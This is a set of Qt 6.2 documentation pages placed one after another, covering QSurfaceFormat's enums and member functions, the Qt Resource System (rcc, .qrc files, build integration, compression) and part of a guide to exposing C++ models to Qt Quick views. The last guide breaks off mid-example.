| `QSurfaceFormat::ProtectedContent` | `0x0010` | Enables access to protected content. This allows the GPU to operate on protected resources (surfaces, buffers, textures), for example DRM-protected video content. Currently only implemented for EGL. |

 The FormatOptions type is a typedef for [QFlags](qflags)<FormatOption>. It stores an OR combination of FormatOption values.

 ### enum QSurfaceFormat::OpenGLContextProfile

 This enum is used to specify the OpenGL context profile, in conjunction with [QSurfaceFormat::setMajorVersion](qsurfaceformat#setMajorVersion)() and [QSurfaceFormat::setMinorVersion](qsurfaceformat#setMinorVersion)().

 Profiles are exposed in OpenGL 3.2 and above, and are used to choose between a restricted core profile, and a compatibility profile which might contain deprecated support functionality.

 Note that the core profile might still contain functionality that is deprecated and scheduled for removal in a higher version. To get access to the deprecated functionality for the core profile in the set OpenGL version you can use the [QSurfaceFormat](qsurfaceformat) format option [QSurfaceFormat::DeprecatedFunctions](qsurfaceformat#FormatOption-enum).

 

| Constant | Value | Description |
| --- | --- | --- |
| `QSurfaceFormat::NoProfile` | `0` | OpenGL version is lower than 3.2. For 3.2 and newer this is same as CoreProfile. |
| `QSurfaceFormat::CoreProfile` | `1` | Functionality deprecated in OpenGL version 3.0 is not available. |
| `QSurfaceFormat::CompatibilityProfile` | `2` | Functionality from earlier OpenGL versions is available. |

 ### enum QSurfaceFormat::RenderableType

 This enum specifies the rendering backend for the surface.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QSurfaceFormat::DefaultRenderableType` | `0x0` | The default, unspecified rendering method |
| `QSurfaceFormat::OpenGL` | `0x1` | Desktop OpenGL rendering |
| `QSurfaceFormat::OpenGLES` | `0x2` | OpenGL ES 2.0 rendering |
| `QSurfaceFormat::OpenVG` | `0x4` | Open Vector Graphics rendering |

 ### enum QSurfaceFormat::SwapBehavior

 This enum is used by [QSurfaceFormat](qsurfaceformat) to specify the swap behaviour of a surface. The swap behaviour is mostly transparent to the application, but it affects factors such as rendering latency and throughput.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QSurfaceFormat::DefaultSwapBehavior` | `0` | The default, unspecified swap behaviour of the platform. |
| `QSurfaceFormat::SingleBuffer` | `1` | Used to request single buffering, which might result in flickering when OpenGL rendering is done directly to screen without an intermediate offscreen buffer. |
| `QSurfaceFormat::DoubleBuffer` | `2` | This is typically the default swap behaviour on desktop platforms, consisting of one back buffer and one front buffer. Rendering is done to the back buffer, and then the back buffer and front buffer are swapped, or the contents of the back buffer are copied to the front buffer, depending on the implementation. |
| `QSurfaceFormat::TripleBuffer` | `3` | This swap behaviour is sometimes used in order to decrease the risk of skipping a frame when the rendering rate is just barely keeping up with the screen refresh rate. Depending on the platform it might also lead to slightly more efficient use of the GPU due to improved pipelining behaviour. Triple buffering comes at the cost of an extra frame of memory usage and latency, and might not be supported depending on the underlying platform. |

 Member Function Documentation
-----------------------------

 ### QSurfaceFormat::QSurfaceFormat(const [QSurfaceFormat](qsurfaceformat#QSurfaceFormat) &*other*)

 Constructs a copy of *other*.

 ### QSurfaceFormat::QSurfaceFormat([QSurfaceFormat::FormatOptions](qsurfaceformat#FormatOption-enum) *options*)

 Constructs a QSurfaceFormat with the given format *options*.

 ### QSurfaceFormat::QSurfaceFormat()

 Constructs a default initialized QSurfaceFormat.

  **Note:** By default OpenGL 2.0 is requested since this provides the highest grade of portability between platforms and OpenGL implementations.

  ### 
[QSurfaceFormat](qsurfaceformat#QSurfaceFormat) &QSurfaceFormat::operator=(const [QSurfaceFormat](qsurfaceformat#QSurfaceFormat) &*other*)

 Assigns *other* to this object.

 ### QSurfaceFormat::~QSurfaceFormat()

 Destroys the [QSurfaceFormat](qsurfaceformat).

 ### 
int QSurfaceFormat::alphaBufferSize() const

 Get the size in bits of the alpha channel of the color buffer.

 **See also** [setAlphaBufferSize](qsurfaceformat#setAlphaBufferSize)().

 ### 
int QSurfaceFormat::blueBufferSize() const

 Get the size in bits of the blue channel of the color buffer.

 **See also** [setBlueBufferSize](qsurfaceformat#setBlueBufferSize)().

 ### 
`[since 5.10]` const [QColorSpace](qcolorspace) &QSurfaceFormat::colorSpace() const

 Returns the color space.

 This function was introduced in Qt 5.10.

 **See also** [setColorSpace](qsurfaceformat#setColorSpace)().

 ### 
`[static, since 5.4]` [QSurfaceFormat](qsurfaceformat#QSurfaceFormat) QSurfaceFormat::defaultFormat()

 Returns the global default surface format.

 When [setDefaultFormat](qsurfaceformat#setDefaultFormat)() is not called, this is a default-constructed [QSurfaceFormat](qsurfaceformat).

 This function was introduced in Qt 5.4.

 **See also** [setDefaultFormat](qsurfaceformat#setDefaultFormat)().

 ### 
int QSurfaceFormat::depthBufferSize() const

 Returns the depth buffer size.

 **See also** [setDepthBufferSize](qsurfaceformat#setDepthBufferSize)().

 ### 
int QSurfaceFormat::greenBufferSize() const

 Get the size in bits of the green channel of the color buffer.

 **See also** [setGreenBufferSize](qsurfaceformat#setGreenBufferSize)().

 ### 
bool QSurfaceFormat::hasAlpha() const

 Returns `true` if the alpha buffer size is greater than zero.

 This means that the surface might be used with per pixel translucency effects.

 ### 
int QSurfaceFormat::majorVersion() const

 Returns the major OpenGL version.

 The default version is 2.0.

 **See also** [setMajorVersion](qsurfaceformat#setMajorVersion)().

 ### 
int QSurfaceFormat::minorVersion() const

 Returns the minor OpenGL version.

 **See also** [setMinorVersion](qsurfaceformat#setMinorVersion)().

 ### 
`[since 5.3]` [QSurfaceFormat::FormatOptions](qsurfaceformat#FormatOption-enum) QSurfaceFormat::options() const

 Returns the currently set format options.

 This function was introduced in Qt 5.3.

 **See also** [setOption](qsurfaceformat#setOption)(), [setOptions](qsurfaceformat#setOptions)(), and [testOption](qsurfaceformat#testOption)().

 ### 
[QSurfaceFormat::OpenGLContextProfile](qsurfaceformat#OpenGLContextProfile-enum) QSurfaceFormat::profile() const

 Get the configured OpenGL context profile.

 This setting is ignored if the requested OpenGL version is less than 3.2.

 **See also** [setProfile](qsurfaceformat#setProfile)().

 ### 
int QSurfaceFormat::redBufferSize() const

 Get the size in bits of the red channel of the color buffer.

 **See also** [setRedBufferSize](qsurfaceformat#setRedBufferSize)().

 ### 
[QSurfaceFormat::RenderableType](qsurfaceformat#RenderableType-enum) QSurfaceFormat::renderableType() const

 Gets the renderable type.

 Chooses between desktop OpenGL, OpenGL ES, and [OpenVG](qsurfaceformat#RenderableType-enum).

 **See also** [setRenderableType](qsurfaceformat#setRenderableType)().

 ### 
int QSurfaceFormat::samples() const

 Returns the number of samples per pixel when multisampling is enabled, or `-1` when multisampling is disabled. The default return value is `-1`.

 **See also** [setSamples](qsurfaceformat#setSamples)().

 ### 
void QSurfaceFormat::setAlphaBufferSize(int *size*)

 Set the desired *size* in bits of the alpha channel of the color buffer.

 **See also** [alphaBufferSize](qsurfaceformat#alphaBufferSize)().

 ### 
void QSurfaceFormat::setBlueBufferSize(int *size*)

 Set the desired *size* in bits of the blue channel of the color buffer.

 **See also** [blueBufferSize](qsurfaceformat#blueBufferSize)().

 ### 
`[since 6.0]` void QSurfaceFormat::setColorSpace(const [QColorSpace](qcolorspace) &*colorSpace*)

 Sets the preferred *colorSpace*.

 For example, this allows requesting windows with default framebuffers that are sRGB-capable on platforms that support it.

  **Note:** When the requested color space is not supported by the platform, the request is ignored. Query the [QSurfaceFormat](qsurfaceformat) after window creation to verify if the color space request could be honored or not.

   **Note:** This setting controls if the default framebuffer of the window is capable of updates and blending in a given color space. It does not change applications' output by itself. The applications' rendering code will still have to opt in via the appropriate OpenGL calls to enable updates and blending to be performed in the given color space instead of using the standard linear operations.

  This function was introduced in Qt 6.0.

 **See also** [colorSpace](qsurfaceformat#colorSpace)().

 ### 
`[since 5.10]` void QSurfaceFormat::setColorSpace([QSurfaceFormat::ColorSpace](qsurfaceformat#ColorSpace-enum) *colorSpace*)

 This is an overloaded function.

 Sets the colorspace to one of the predefined values.

 This function was introduced in Qt 5.10.

 **See also** [colorSpace](qsurfaceformat#colorSpace)().

 ### 
`[static, since 5.4]` void QSurfaceFormat::setDefaultFormat(const [QSurfaceFormat](qsurfaceformat#QSurfaceFormat) &*format*)

 Sets the global default surface *format*.

 This format is used by default in [QOpenGLContext](qopenglcontext), [QWindow](qwindow), [QOpenGLWidget](qopenglwidget) and similar classes.

 It can always be overridden on a per-instance basis by using the class in question's own setFormat() function. However, it is often more convenient to set the format for all windows once at the start of the application. It also guarantees proper behavior in cases where shared contexts are required, because settings the format via this function guarantees that all contexts and surfaces, even the ones created internally by Qt, will use the same format.

  **Note:** When setting [Qt::AA\_ShareOpenGLContexts](qt#ApplicationAttribute-enum), it is strongly recommended to place the call to this function before the construction of the [QGuiApplication](qguiapplication) or [QApplication](qapplication). Otherwise *format* will not be applied to the global share context and therefore issues may arise with context sharing afterwards.

  This function was introduced in Qt 5.4.

 **See also** [defaultFormat](qsurfaceformat#defaultFormat)().

 ### 
void QSurfaceFormat::setDepthBufferSize(int *size*)

 Set the minimum depth buffer size to *size*.

 **See also** [depthBufferSize](qsurfaceformat#depthBufferSize)().

 ### 
void QSurfaceFormat::setGreenBufferSize(int *size*)

 Set the desired *size* in bits of the green channel of the color buffer.

 **See also** [greenBufferSize](qsurfaceformat#greenBufferSize)().

 ### 
void QSurfaceFormat::setMajorVersion(int *major*)

 Sets the desired *major* OpenGL version.

 **See also** [majorVersion](qsurfaceformat#majorVersion)().

 ### 
void QSurfaceFormat::setMinorVersion(int *minor*)

 Sets the desired *minor* OpenGL version.

 The default version is 2.0.

 **See also** [minorVersion](qsurfaceformat#minorVersion)().

 ### 
`[since 5.3]` void QSurfaceFormat::setOption([QSurfaceFormat::FormatOption](qsurfaceformat#FormatOption-enum) *option*, bool *on* = true)

 Sets the format option *option* if *on* is true; otherwise, clears the option.

 To verify that an option was respected, compare the actual format to the requested format after surface/context creation.

 This function was introduced in Qt 5.3.

 **See also** [setOptions](qsurfaceformat#setOptions)(), [options](qsurfaceformat#options)(), and [testOption](qsurfaceformat#testOption)().

 ### 
`[since 5.3]` void QSurfaceFormat::setOptions([QSurfaceFormat::FormatOptions](qsurfaceformat#FormatOption-enum) *options*)

 Sets the format options to *options*.

 To verify that an option was respected, compare the actual format to the requested format after surface/context creation.

 This function was introduced in Qt 5.3.

 **See also** [options](qsurfaceformat#options)() and [testOption](qsurfaceformat#testOption)().

 ### 
void QSurfaceFormat::setProfile([QSurfaceFormat::OpenGLContextProfile](qsurfaceformat#OpenGLContextProfile-enum) *profile*)

 Sets the desired OpenGL context *profile*.

 This setting is ignored if the requested OpenGL version is less than 3.2.

 **See also** [profile](qsurfaceformat#profile)().

 ### 
void QSurfaceFormat::setRedBufferSize(int *size*)

 Set the desired *size* in bits of the red channel of the color buffer.

 **See also** [redBufferSize](qsurfaceformat#redBufferSize)().

 ### 
void QSurfaceFormat::setRenderableType([QSurfaceFormat::RenderableType](qsurfaceformat#RenderableType-enum) *type*)

 Sets the desired renderable *type*.

 Chooses between desktop OpenGL, OpenGL ES, and [OpenVG](qsurfaceformat#RenderableType-enum).

 **See also** [renderableType](qsurfaceformat#renderableType)().

 ### 
void QSurfaceFormat::setSamples(int *numSamples*)

 Set the preferred number of samples per pixel when multisampling is enabled to *numSamples*. By default, multisampling is disabled.

 **See also** [samples](qsurfaceformat#samples)().

 ### 
void QSurfaceFormat::setStencilBufferSize(int *size*)

 Set the preferred stencil buffer size to *size* bits.

 **See also** [stencilBufferSize](qsurfaceformat#stencilBufferSize)().

 ### 
void QSurfaceFormat::setStereo(bool *enable*)

 If *enable* is true enables stereo buffering; otherwise disables stereo buffering.

 Stereo buffering is disabled by default.

 Stereo buffering provides extra color buffers to generate left-eye and right-eye images.

 **See also** [stereo](qsurfaceformat#stereo)().

 ### 
void QSurfaceFormat::setSwapBehavior([QSurfaceFormat::SwapBehavior](qsurfaceformat#SwapBehavior-enum) *behavior*)

 Set the swap *behavior* of the surface.

 The swap behavior specifies whether single, double, or triple buffering is desired. The default, [DefaultSwapBehavior](qsurfaceformat#SwapBehavior-enum), gives the default swap behavior of the platform.

 **See also** [swapBehavior](qsurfaceformat#swapBehavior)().

 ### 
`[since 5.3]` void QSurfaceFormat::setSwapInterval(int *interval*)

 Sets the preferred swap interval. The swap interval specifies the minimum number of video frames that are displayed before a buffer swap occurs. This can be used to sync the GL drawing into a window to the vertical refresh of the screen.

 Setting an *interval* value of 0 will turn the vertical refresh syncing off, any value higher than 0 will turn the vertical syncing on. Setting *interval* to a higher value, for example 10, results in having 10 vertical retraces between every buffer swap.

 The default interval is 1.

 Changing the swap interval may not be supported by the underlying platform. In this case, the request will be silently ignored.

 This function was introduced in Qt 5.3.

 **See also** [swapInterval](qsurfaceformat#swapInterval)().

 ### 
void QSurfaceFormat::setVersion(int *major*, int *minor*)

 Sets the desired *major* and *minor* OpenGL versions.

 The default version is 2.0.

 **See also** [version](qsurfaceformat#version)().

 ### 
int QSurfaceFormat::stencilBufferSize() const

 Returns the stencil buffer size in bits.

 **See also** [setStencilBufferSize](qsurfaceformat#setStencilBufferSize)().

 ### 
bool QSurfaceFormat::stereo() const

 Returns `true` if stereo buffering is enabled; otherwise returns false. Stereo buffering is disabled by default.

 **See also** [setStereo](qsurfaceformat#setStereo)().

 ### 
[QSurfaceFormat::SwapBehavior](qsurfaceformat#SwapBehavior-enum) QSurfaceFormat::swapBehavior() const

 Returns the configured swap behaviour.

 **See also** [setSwapBehavior](qsurfaceformat#setSwapBehavior)().

 ### 
`[since 5.3]` int QSurfaceFormat::swapInterval() const

 Returns the swap interval.

 This function was introduced in Qt 5.3.

 **See also** [setSwapInterval](qsurfaceformat#setSwapInterval)().

 ### 
`[since 5.3]` bool QSurfaceFormat::testOption([QSurfaceFormat::FormatOption](qsurfaceformat#FormatOption-enum) *option*) const

 Returns true if the format option *option* is set; otherwise returns false.

 This function was introduced in Qt 5.3.

 **See also** [options](qsurfaceformat#options)().

 ### 
QPair<int, int> QSurfaceFormat::version() const

 Returns a QPair<int, int> representing the OpenGL version.

 Useful for version checks, for example format.version() >= qMakePair(3, 2)

 **See also** [setVersion](qsurfaceformat#setVersion)().

  Related Non-Members
-------------------

 ### 
bool operator!=(const [QSurfaceFormat](qsurfaceformat#QSurfaceFormat) &*lhs*, const [QSurfaceFormat](qsurfaceformat#QSurfaceFormat) &*rhs*)

 Returns `false` if all the options of the two [QSurfaceFormat](qsurfaceformat) objects *lhs* and *rhs* are equal; otherwise returns `true`.

 ### 
bool operator==(const [QSurfaceFormat](qsurfaceformat#QSurfaceFormat) &*lhs*, const [QSurfaceFormat](qsurfaceformat#QSurfaceFormat) &*rhs*)

 Returns `true` if all the options of the two [QSurfaceFormat](qsurfaceformat) objects *lhs* and *rhs* are equal.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qsurfaceformat.html>

The Qt Resource System
======================

 The Qt resource system is a platform-independent mechanism for shipping resource files in an application. Use it if your application always needs a certain set of files (like icons, translation files, images), and you don't want to use system-specific means to package and locate these resources.

 Most commonly, the resource files are embedded into your application executable, or in libraries and plugins that are loaded by the application executable. Alternatively, the resource files can also be stored in an [exernal resource file](resources#external-resource-files).

 The resource system is based on tight cooperation between Qt's <rcc> resource compiler, the build system, and the Qt runtime API.

  **Note:** Currently, the Qt resource system does not make use of any system-specific capabilities for handling resources, such as the ones on Windows, macOS, and iOS. This might change in a future Qt release.

  The Qt Resource Compiler (rcc)
------------------------------

 The [Resource Compiler (rcc)](rcc) command line tool reads resource files and generates either a C++ or Python source file, or an `.rcc` file.

 The list of files and related metadata is passed to `rcc` in the form of a [Qt Resource Collection File](resources#qt-resource-collection-file).

 By default, rcc will generate C++ source code that is then compiled as part of an executable or library. The `-g python` option generates Python source code instead. The `-binary` option generates a binary archive that is by convention saved in an `.rcc` file and can be loaded at runtime.

  **Note:** While it is possible to run `rcc` from the command line, this is typically best left to a build system. See also the sections about [qmake](resources#qmake) and [CMake](resources#cmake) below.

  Qt Resource Collection File (.qrc)
----------------------------------

 A `.qrc` file is an XML document that enumerates local files to be included as runtime resources. It serves as input to `rcc`.

 Here's an example `.qrc` file:

 
```
<RCC>
    <qresource prefix="/">
        <file>images/copy.png</file>
        <file>images/cut.png</file>
        <file>images/new.png</file>
        <file>images/open.png</file>
        <file>images/paste.png</file>
        <file>images/save.png</file>
    </qresource>
</RCC>
```
 Each `<file>` element in the XML identifies a file in the application's source tree. The path is resolved relative to the directory containing the `.qrc` file.

 The path is also used by default to identify the file's content at runtime. That is, the file `copy.png` will be available in the resource system as `:/images/copy.png` or `qrc:/images/copy.png`. To override this default run-time name, see [Prefixes](resources#prefixes) and [Aliases](resources#aliases).

 *Qt Creator*, *Qt Design Studio*, *Qt Designer*, and *Qt Visual Studio Tools* allow you to create, inspect and edit `.qrc` files through a convenient user interface. Except for *Qt Designer*, they also provide wizards for projects using the Qt resource system.

 Build System Integration
------------------------

 The processing of resource files with `rcc` is typically done at the time the application is built. Several build tools have dedicated support for this, including [CMake](resources#cmake) and [qmake](resources#qmake).

 ### CMake

 If `CMAKE_AUTORCC` is enabled, you can just add `.qrc` files as sources to your executable or library. The referenced resource files will then be embedded into the binary:

 
```
set(CMAKE_AUTORCC ON)

qt_add_executable(my_app
    application.qrc
    main.cpp
)
```
 See [CMake's AUTORCC documentation](https://cmake.org/cmake/help/latest/prop_tgt/AUTORCC.html) for more details about AUTORCC.

 An alternative to AUTORCC is using Qt6Core's CMake function [qt\_add\_resources](qt-add-resources), which gives more control over the creation of resources. For example, it allows you to specify the content of the resource directly in the project file without writing a `.qrc` file first:

 
```
qt_add_resources(my_app "app_images"
    PREFIX "/"
    FILES
        images/copy.png
        images/cut.png
        images/new.png
        images/open.png
        images/paste.png
        images/save.png
)
```
 Finally, [qt\_add\_qml\_module](https://doc.qt.io/qt-6.2/qt-add-qml-module.html) allows you to embed Qt Quick resources into the resource system of your application. The function is defined in the `Qml` component of the `Qt6` CMake package.

 ### qmake

 [qmake](qmake-manual) supports handing resources with the [RESOURCES](qmake-variable-reference#resources) variable. If you add a `.qrc` file path to the variable, the listed resource files will be embedded into the generated library or executable:

 
```
RESOURCES = application.qrc
```
 For simple applications, it is also possible to let qmake generate the `.qrc` file for you, avoiding the need for an additional file to be maintained:

 
```
resources.files = \
    images/copy.png \
    images/cut.png \
    images/new.png \
    images/open.png \
    images/paste.png \
    images/save.png
resources.prefix = /

RESOURCES = resources
```
 Runtime API
-----------

 Qt API that deals with iterating and reading files has built-in support for the Qt Resource System. You can pass a resource path instead of a local file path to [QFile](qfile) and [QDir](qdir), but also for instance to the [QIcon](qicon), [QImage](qimage), and [QPixmap](qpixmap) constructors:

 
```
    cutAct = new QAction(QIcon(":/images/cut.png"), tr("Cu&t"), this);
```
 The `:` prefix makes it explicit that "/images/cut.png" should be loaded from the Qt Resource System.

 You can also reference the Qt resource system through a [QUrl](qurl). Use the `qrc` scheme in this case:

 
```
    QQmlApplicationEngine engine;
    engine.load(QUrl("qrc:/myapp/main.qml"));
```
 See the [Application](https://doc.qt.io/qt-6.2/qtwidgets-mainwindows-application-example.html) example for an actual application that uses Qt's resource system to store its icons.

 Advanced Topics
---------------

 ### Prefixes

 A `.qrc` file can set a prefix to be added to each local file name, given in a `<file>` element, to get the name by which the file shall be known within the resource system.

 Prefixes allow you to structure the resources, avoiding clashes between resource files added through different `.qrc` files in different libraries or plugins.

  **Note:** The `/qt` and `/qt-project.org` prefixes are reserved for documented use cases in Qt. The [qt.conf](qt-conf) file is for instance looked up in `:/qt/etc/qt.conf` or `qrc:/qt/etc/qt.conf`.

  ### Aliases

 Sometimes it is convenient to make a resource file available under a different path at runtime. `.qrc` files allow this by setting an `alias` attribute:

 
```
<file alias="cut-img.png">images/cut.png</file>
```
 The file is from the application then only accessible as `:/cut-img.png` or `qrc:/cut-img.png`.

 ### Language Selectors

 Some resources need to change based on the user's locale, such as translation files or icons. [Resource Collection Files](resources#resource-collection-files) support this through a `lang` attribute to the `qresource` tag, specifying a suitable locale string. For example:

 
```
<qresource>
    <file>cut.jpg</file>
</qresource>
<qresource lang="fr">
    <file alias="cut.jpg">cut_fr.jpg</file>
</qresource>
```
 If the user's locale is French (i.e., [QLocale::system](qlocale#system)().language() is French), `:/cut.jpg` or `qrc:/cut.jpg` becomes a reference to the `cut_fr.jpg` image. For other locales, `cut.jpg` is used.

 See the [QLocale](qlocale) documentation for a description of the format to use for locale strings.

 See [QFileSelector](qfileselector) for an additional mechanism to select locale-specific resources.

 ### Embedding Large Files

 By default, `rcc` embeds the resource files into executables in the form of C++ arrays. This can be problematic especially for large resources.

 If the compiler takes too long, or even fails because of memory overflow, you can opt into a special mode where the resources are embedded as part of a two-step process. The C++ compiler only reserves enough space in the target executable or library for the resources. The actual embedding of the resource file's content and metadata is then done after the compilation and linking phase, through another rcc call.

 For qmake, this is enabled by adding `resources_big` to the `CONFIG` variable:

 
```
CONFIG += resources_big
```
 For CMake, you need to use the [qt\_add\_big\_resources](qt-add-bigresources) function:

 
```
qt_add_big_resources(SOURCES application.qrc)
target_sources(my_app PRIVATE ${SOURCES})
```
 ### External Resource Files

 An alternative to embedding the resource files into the binary is to store them in a separate `.rcc` file. `rcc` allows this with the `-binary` option. Such a `.rcc` file must then be loaded at runtime with [QResource](qresource).

 For example, a set of resource data specified in a `.qrc` file can be compiled in the following way:

 
```
rcc -binary myresource.qrc -o myresource.rcc
```
 In the application, this resource would be registered with code like this:

 
```
QResource::registerResource("/path/to/myresource.rcc");
```
 If you use CMake, you can use the [qt\_add\_binary\_resources](qt-add-binary-resources) function to schedule the `rcc` call above:

 
```
qt_add_binary_resources(resources application.qrc DESTINATION application.rcc)
add_dependencies(my_app resources)
```
 ### Resources in a Qt for Python application

 The resource collection file is converted to a Python module by using the resource compiler <rcc>:

 
```
rcc -g python application.qrc > application_rc.py
```
 The module can then be imported in the application:

 
```
import application_rc.py
```
 ### Compression

 `rcc` attempts to compress the content to optimize disk space usage in the final binaries. By default, it will perform a heuristic check to determine whether compressing is worth it and will store the content uncompressed if it fails to sufficiently compress. To control the threshold, you can use the `-threshold` option, which tells `rcc` the percentage of the original file size that must be gained for it to store the file in compressed form.

 
```
rcc -threshold 25 myresources.qrc
```
 The default value is "70", indicating that the compressed file must be 70% smaller than the original (no more than 30% of the original file size).

 It is possible to turn off compression if desired. This can be useful if your resources already contain a compressed format, such as `.png` files, and you do not want to incur the CPU cost at build time to confirm that it can't be compressed. Another reason is if disk usage is not a problem and the application would prefer to keep the content as clean memory pages at runtime. You do this by giving the `-no-compress` command line argument.

 
```
rcc -no-compress myresources.qrc
```
 `rcc` also gives you some control over the compression level and compression algorithm, for example:

 
```
rcc -compress 2 -compress-algo zlib myresources.qrc
```
 It is also possible to use `threshold`, `compress`, and `compress-algo` as attributes in a .qrc `file` tag.

 
```
<qresource>
    <file compress="1" compress-algo="zstd">data.txt</file>
</qresource>
```
 The above will select the `zstd` algorithm with compression level 1.

 `rcc` supports the following compression algorithms and compression levels:

 * `best`: use the best algorithm among the ones below, at its highest compression level, to achieve the most compression at the expense of using a lot of CPU time during compilation. This value is useful in the XML file to indicate a file should be most compressed, regardless of which algorithms `rcc` supports.
* `zstd`: use the [Zstandard](http://facebook.github.io/zstd/) library to compress contents. Valid compression levels range from 1 to 19, 1 is least compression (least CPU time) and 19 is the most compression (most CPU time). The default level is 14. A special value of 0 tells the `zstd` library to choose an implementation-defined default.
* `zlib`: use the [zlib](https://zlib.net) library to compress contents. Valid compression levels range from 1 to 9, with 1 applying the least compression (least CPU time) and 9 the most compression (most CPU time). The special value 0 means "no compression" and should not be used. The default is implementation-defined, but usually is level 6.
* `none`: no compression. This is the same as the `-no-compress` option.

 Support for both Zstandard and zlib are optional. If a given library was not detected at compile time, attempting to pass `-compress-algo` for that library will result in an error. The default compression algorithm is `zstd` if it is enabled, `zlib` if not.

 ### Explicit Loading and Unloading of Embedded Resources

 Resources embedded in C++ executable or library code are automatically registered to the Qt resource system in a constructor of an internal global variable. Since the global variables are initialized before main() runs, the resources are available when the program starts to run.

 When embedding resources in *static* libraries, the C++ linker might remove the static variables that register the resources. If you embed resources in a static library, you therefore need to explicitly register your resources by calling [Q\_INIT\_RESOURCE](qdir#Q_INIT_RESOURCE)() with the base name of the `.qrc` file. For example:

 
```
MyClass::MyClass() : BaseClass()
{
    Q_INIT_RESOURCE(resources);

    QFile file(":/myfile.dat");
    ...
}
```
 You can also explicitly remove registered resources from the application, for instance when unloading a plugin. Use [Q\_CLEANUP\_RESOURCE](qdir#Q_CLEANUP_RESOURCE)() for this.

 Note: As the resource initializers generated by rcc are declared in the global namespace, your calls to [Q\_INIT\_RESOURCE](qdir#Q_INIT_RESOURCE)() and [Q\_CLEANUP\_RESOURCE](qdir#Q_CLEANUP_RESOURCE)() need to be done outside any namespace.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/resources.html>

Using C++ Models with Qt Quick Views
====================================

 Data Provided In A Custom C++ Model
-----------------------------------

 Models can be defined in C++ and then made available to QML. This is useful for exposing existing C++ data models or otherwise complex datasets to QML.

 A C++ model class can be defined as a [QStringList](qstringlist), a [QVariantList](qvariant#QVariantList-typedef), a [QObjectList](qobject#QObjectList-typedef) or a [QAbstractItemModel](qabstractitemmodel). The first three are useful for exposing simpler datasets, while [QAbstractItemModel](qabstractitemmodel) provides a more flexible solution for more complex models.

 Here is a video tutorial that takes you through the whole process of exposing a C++ model to QML:

   [![]  ### QStringList-based Model

 A model may be a simple [QStringList](qstringlist), which provides the contents of the list via the *modelData* role.

 Here is a [ListView](qml-qtquick-listview) with a delegate that references its model item's value using the `modelData` role:

 
```
ListView {
    width: 100
    height: 100
    required model

    delegate: Rectangle {
        required property string modelData
        height: 25
        width: 100
        Text { text: parent.modelData }
    }
}
```
 A Qt application can load this QML document and set the value of `myModel` to a [QStringList](qstringlist):

 
```
    QStringList dataList = {
        "Item 1",
        "Item 2",
        "Item 3",
        "Item 4"
    };

    QQuickView view;
    view.setInitialProperties({{ "model", QVariant::fromValue(dataList) }});
```
 The complete source code for this example is available in [examples/quick/models/stringlistmodel](https://doc.qt.io/qt-6.2/qtquick-models-stringlistmodel-example.html) within the Qt install directory.

  **Note:** There is no way for the view to know that the contents of a [QStringList](qstringlist) have changed. If the [QStringList](qstringlist) changes, it will be necessary to reset the model by calling [QQmlContext::setContextProperty](qqmlcontext#setContextProperty)() again.

  ### QVariantList-based Model

 A model may be a single [QVariantList](qvariant#QVariantList-typedef), which provides the contents of the list via the *modelData* role.

 The API works just like with [QStringList](qstringlist), as shown in the previous section.

  **Note:** There is no way for the view to know that the contents of a QVariantList have changed. If the QVariantList changes, it will be necessary to reset the model.

  ### QObjectList-based Model

 A list of [QObject](qobject)\* values can also be used as a model. A [QList](qlist)<[QObject](qobject)\*> provides the properties of the objects in the list as roles.

 The following application creates a `DataObject` class with [Q\_PROPERTY](qobject#Q_PROPERTY) values that will be accessible as named roles when a [QList](qlist)<DataObject\*> is exposed to QML:

 
```
class DataObject : public QObject
{
    Q_OBJECT

    Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged)
    Q_PROPERTY(QString color READ color WRITE setColor NOTIFY colorChanged)
    ...
};

int main(int argc, char ** argv)
{
    QGuiApplication app(argc, argv);

    QList<QObject *> dataList = {
        new DataObject("Item 1", "red"),
        new DataObject("Item 2", "green"),
        new DataObject("Item 3", "blue"),
        new DataObject("Item 4", "yellow")
    };

    QQuickView view;
    view.setResizeMode(QQuickView::SizeRootObjectToView);
    view.setInitialProperties({{ "model", QVariant::fromValue(dataList) }});
    ...
```
 The [QObject](qobject)\* is available as the `modelData` property. As a convenience, the properties of the object are also made available directly in the delegate's context. Here, `view.qml` references the `DataModel` properties in the [ListView](qml-qtquick-listview) delegate:

 
```
ListView {
    width: 100; height: 100
    required model

    delegate: Rectangle {
        required color
        required property string name

        height: 25
        width: 100
        Text { text: parent.name }
    }
}
```
 Note the use of `color` property with qualifier. The properties of the object are not replicated in the `model` object, as they are easily available via the `modelData` object.

 The complete source code for this example is available in [examples/quick/models/objectlistmodel](https://doc.qt.io/qt-6.2/qtquick-models-objectlistmodel-example.html) within the Qt install directory.

 Note: There is no way for the view to know that the contents of a [QList](qlist) has changed. If the [QList](qlist) changes, it is necessary to reset the model by calling [QQmlContext::setContextProperty](qqmlcontext#setContextProperty)() again.

 ### QAbstractItemModel Subclass

 A model can be defined by subclassing [QAbstractItemModel](qabstractitemmodel). This is the best approach if you have a more complex model that cannot be supported by the other approaches. A [QAbstractItemModel](qabstractitemmodel) can also automatically notify a QML view when the model data changes.

 The roles of a [QAbstractItemModel](qabstractitemmodel) subclass can be exposed to QML by reimplementing [QAbstractItemModel::roleNames](qabstractitemmodel#roleNames)().

 Here is an application with a [QAbstractListModel](qabstractlistmodel) subclass named `AnimalModel`, which exposes the *type* and *sizes* roles. It reimplements [QAbstractItemModel::roleNames](qabstractitemmodel#roleNames)() to expose the role names, so that they can be accessed via QML:

 
```
class Animal
{
public:
    Animal(const QString &type, const QString &size);
    ...
};

class AnimalModel : public QAbstractListModel
{
    Q_OBJECT
public:
    enum AnimalRoles {
        TypeRole = Qt::UserRole + 1,
        SizeRole
    };

    AnimalModel(QObject *parent = 0);
    ...
};

QHash<int, QByteArray> AnimalModel::roleNames() const {
    QHash<int, QByteArray> roles;
    roles[TypeRole] = "type";
    roles[SizeRole] = "size";
    return roles;
}

int main(int argc, char ** argv)
{
    QGuiApplication app(argc, argv);

    AnimalModel model;
    model.addAnimal(Animal("Wolf", "Medium"));
    model.addAnimal(Animal("Polar bear", "Large"));
    model.addAnimal(Animal("Quoll", "Small"));

    QQuickView view;
    view.setResizeMode(QQuickView::SizeRootObjectToView);
    view.setInitialProperties({{"model", QVariant::fromValue(&model)}});
    ...
```
